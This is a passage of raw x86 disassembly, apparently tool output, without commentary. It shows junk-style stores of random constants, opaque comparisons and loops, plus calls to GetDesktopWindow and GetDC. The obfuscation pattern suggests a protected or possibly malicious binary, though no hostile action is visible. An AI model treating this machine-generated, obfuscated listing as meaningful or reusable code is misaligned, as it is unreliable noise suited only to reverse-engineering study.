mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002cbcb
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x2c593c86
mov dword [ebp - 0x30], 0xc8a52b4b
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x44]
dec dword [ebp - 0x1c]
jns 0x1002cbb2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002cb91
xor eax, eax
jmp 0x1002cc4e
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002cbf7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
mov dword [ebp - 0x2c], 6
xor ebx, ebx
cmp dword [ebp - 0x2c], 0x16
je 0x1002cc4b
inc ebx
mov dword [ebp - 0x30], ebx
xor ecx, ecx
mov dword [ebp - 0x30], 0x6e89be30
mov dword [ebp - 0x3c], 0x38b4fd08
mov eax, dword [ebp - 0x38]
inc eax
cmp eax, 0xfffffffc
setl cl
add ecx, 0x7b05
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x16
jne 0x1002cc07
jmp 0x1002cbd3
xor eax, eax
inc ebx
mov dword [ebp - 0x1c], ebx
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
push 2
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x10], eax
pop esi
jmp 0x1002cc72
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x220], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002cc65
cmp dword [ebp - 0x1c], 0xb274bf90
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0xbf0b
setg cl
imul eax, ecx, 0x85c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002cca7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002ccf7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x57c], 3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002ccdf
xor eax, eax
push 4
mov dword [ebp - 0x24], eax
pop edx
cmp dword [ebp - 0x24], edx
jge 0x1002cd1a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf48], 0xea885c82
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1002cd02
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1002cdfb
jmp 0x1002cd2a
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xbc6a687e
mov dword [ebp - 0x30], 0x2b9cbadb
mov dword [ebp - 0x10], eax
jmp 0x1002cd55
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbe8], 0x435c5265
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002cd44
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x220]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x220], ecx
mov eax, dword [ebp - 0xbe0]
dec dword [ebp - 0xbe0]
xor eax, eax
cmp dword [ebp - 0x578], eax
jne 0x1002cdae
cmp dword [ebp - 0x220], eax
je 0x1002cd92
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x220]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xf44]
je 0x1002cdce
mov dword [ebp - 0x44], 0x2cb51dba
mov eax, 0x41637c1d
mov dword [ebp - 0x34], 0x15362daa
or ecx, 0xffffffff
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], 0x2f9d44c0
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0x5d0], eax
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
jmp 0x1002ce4e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xec8], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002ce3d
mov dword [ebp - 0x44], 0xb871c7bf
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x40]
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0xec4], esi
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push 0xfffffffffffffffc
pop ecx
sub ecx, eax
mov eax, dword [ebp - 0x5d8]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ecx, esi
setne dl
xor ecx, ecx
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x38]
cmp edx, eax
mov edx, dword [ebp - 0x44]
setge cl
sub ecx, 0x25ec5604
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x42ad015b
setl al
or edx, 0xffffffff
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002cef4
mov eax, dword [ebp - 0x5d4]
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x5d4], ecx
mov ecx, 0x85024d8f
mov eax, dword [ebp - 0x34]
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0x85c82f74
jb 0x1002cef2
mov eax, ebx
jmp 0x1002cef4
xor eax, eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x654fddd3
mov dword [ebp - 0x20], 0x12e1dfe0
mov dword [ebp - 0x40], 0x82d83d78
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x44], 0xec3d4e70
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x30], 0xd714f98c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x14], 0x9e56e623
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], eax
jmp 0x1002cf55
cmp dword [ebp - 0x10], ebx
jl 0x1002cf48